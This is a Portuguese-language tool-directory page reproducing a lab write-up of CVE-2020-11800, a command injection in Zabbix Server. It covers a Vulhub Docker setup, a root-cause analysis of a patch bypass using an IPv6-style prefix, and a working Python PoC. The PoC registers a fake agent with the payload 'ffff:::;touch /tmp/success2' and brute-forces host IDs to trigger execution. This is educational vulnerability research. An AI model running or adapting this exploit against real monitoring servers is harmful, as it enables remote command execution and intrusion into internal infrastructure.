Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-11800 — Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host. | Kitploit
Ferramentas/GitHubGitHub/ycseo-git/cve-2020-11800
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host.

Ver Repositório
7há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Seções exigidas pelas diretrizes da atividade são marcadas com “(Obrigatório)”.

1. Ambiente (Obrigatório)

Dockerfile (Obrigatório)

Este ambiente usa um Dockerfile personalizado baseado na imagem vulnerável do Zabbix Server fornecida pelo Vulhub.

FROM vulhub/zabbix:3.0.3-server

O Dockerfile cria uma imagem local usando o ambiente vulnerável do Zabbix Server 3.0.3. Nenhum pacote ou configuração adicional foi adicionado durante o processo de build.


docker-compose.yml (Obrigatório)

O ambiente vulnerável é configurado usando o Docker Compose.

O ambiente consiste em quatro serviços:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

O serviço server é construído localmente usando o Dockerfile:

server:
  build: .
  image: cve-2020-11800-server

O contêiner MySQL importa automaticamente os arquivos de inicialização SQL do diretório src/ usando montagem de volume:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Isso permite que o esquema do banco de dados e os dados iniciais do Zabbix sejam carregados automaticamente quando o contêiner inicia.


Arquitetura de Serviços (Obrigatório)

O ambiente opera usando a seguinte estrutura:

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fornece a interface de gerenciamento baseada na web, acessível pelo navegador.

O administrador configura o auto-registro e executa operações relacionadas ao monitoramento por meio dessa interface.

Zabbix Server

O componente principal responsável por:

  • gerenciamento de agentes
  • execução de scripts
  • lógica de monitoramento
  • processamento de eventos

A vulnerabilidade de injeção de comandos é acionada dentro desse contêiner.

Zabbix Agent

Atua como um host monitorado e se comunica com o Zabbix Server.

O exploit abusa do mecanismo de auto-registro durante o processo de registro do agente.

MySQL

Armazena dados de configuração do Zabbix, informações de hosts e dados relacionados ao monitoramento.


Imagens e Versões (Obrigatório)

ServiçoImagemVersão
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

O ambiente é baseado no ambiente vulnerável Zabbix 3.0.3 fornecido pelo Vulhub.

2. Causa Raiz (Obrigatório)

Descrição da Vulnerabilidade (Obrigatório)

CVE-2020-11800 é uma vulnerabilidade de injeção de comandos na funcionalidade Active Proxy Trapper do Zabbix Server.

A vulnerabilidade existe porque o patch para CVE-2017-2824 foi incompleto. Um atacante pode contornar o patch original usando um payload no estilo IPv6 e executar comandos arbitrários no Zabbix Server.

A vulnerabilidade é acionada durante o processo de auto-registro, quando o servidor processa informações de host controladas pelo usuário.


Análise da Causa Raiz (Obrigatório)

A causa raiz da vulnerabilidade é o tratamento inseguro de entrada controlada pelo usuário dentro de comandos shell.

Durante a execução de scripts, o Zabbix Server usa o valor do IP do host registrado para construir comandos como:

ping <host_ip>

Em condições normais:

ping 127.0.0.1

No entanto, se um atacante registrar um host usando o seguinte payload:

ffff:::;touch /tmp/success2

o comando final executado pelo shell torna-se:

ping ffff:::;touch /tmp/success2

Como o ponto e vírgula (;) atua como separador de comandos do shell, o shell interpreta a entrada como dois comandos separados:

ping ffff:::
touch /tmp/success2

Como resultado, a execução arbitrária de comandos torna-se possível.

Bypass do Patch Usando IPv6

O patch original para CVE-2017-2824 tentava restringir valores de entrada maliciosos.

No entanto, a lógica de validação não tratava adequadamente entradas no estilo IPv6.

O payload:

ffff:::;touch /tmp/success2

usa um prefixo semelhante a IPv6 (ffff:::) para contornar a lógica de validação existente enquanto ainda injeta metacaracteres do shell.

Isso permite que atacantes contornem o patch anterior e continuem explorando a vulnerabilidade de injeção de comandos.


Processo de Acionamento da Vulnerabilidade (Obrigatório)

O processo do exploit ocorre na seguinte ordem:

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

O atacante primeiro envia uma solicitação maliciosa de auto-registro contendo um campo IP especialmente elaborado.

Após o host ser registrado, o Zabbix Server executa um script de monitoramento usando o valor do IP do host armazenado.

Durante esse processo, o payload malicioso é interpretado pelo shell, levando à execução arbitrária de comandos.


Fluxo de Ataque e Impacto (Obrigatório)

O exploit permite que atacantes executem comandos arbitrários com os privilégios do processo do Zabbix Server.

Neste ambiente, a exploração bem-sucedida criou o seguinte arquivo dentro do contêiner do servidor:

/tmp/success2

Isso confirma que os comandos shell injetados foram executados com sucesso.

Em um ambiente real, a exploração bem-sucedida poderia permitir que atacantes:

  • executem comandos arbitrários do sistema
  • baixem e executem malware
  • realizem reconhecimento interno
  • façam pivô para outros sistemas
  • comprometam a infraestrutura de monitoramento

A vulnerabilidade é particularmente perigosa porque servidores de monitoramento frequentemente têm visibilidade de múltiplos sistemas internos e componentes de infraestrutura.

3. PoC (Obrigatório)

Visão Geral do PoC (Obrigatório)

A Prova de Conceito (PoC) foi escrita em Python e se comunica diretamente com o Zabbix Server pela porta TCP 10051.

A PoC executa as seguintes ações:

  1. Envia uma solicitação maliciosa de auto-registro
  2. Executa força bruta em valores válidos de hostid
  3. Aciona a execução de script usando o payload injetado

Código da PoC

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Análise do Payload (Obrigatório)

O payload usado nesta PoC é:

ffff:::;touch /tmp/success2

Estrutura do Payload

PartePropósito
ffff:::Prefixo semelhante a IPv6 usado para contornar a validação
;Separador de comandos do shell
touch /tmp/success2Comando arbitrário executado no servidor

O payload abusa do fato de o servidor concatenar incorretamente valores de IP controlados pelo usuário em comandos shell.

Propósito

  • Registra um Zabbix Agent falso
  • Armazena um valor de IP malicioso no servidor
  • Prepara o alvo para injeção de comandos
Baixar ferramenta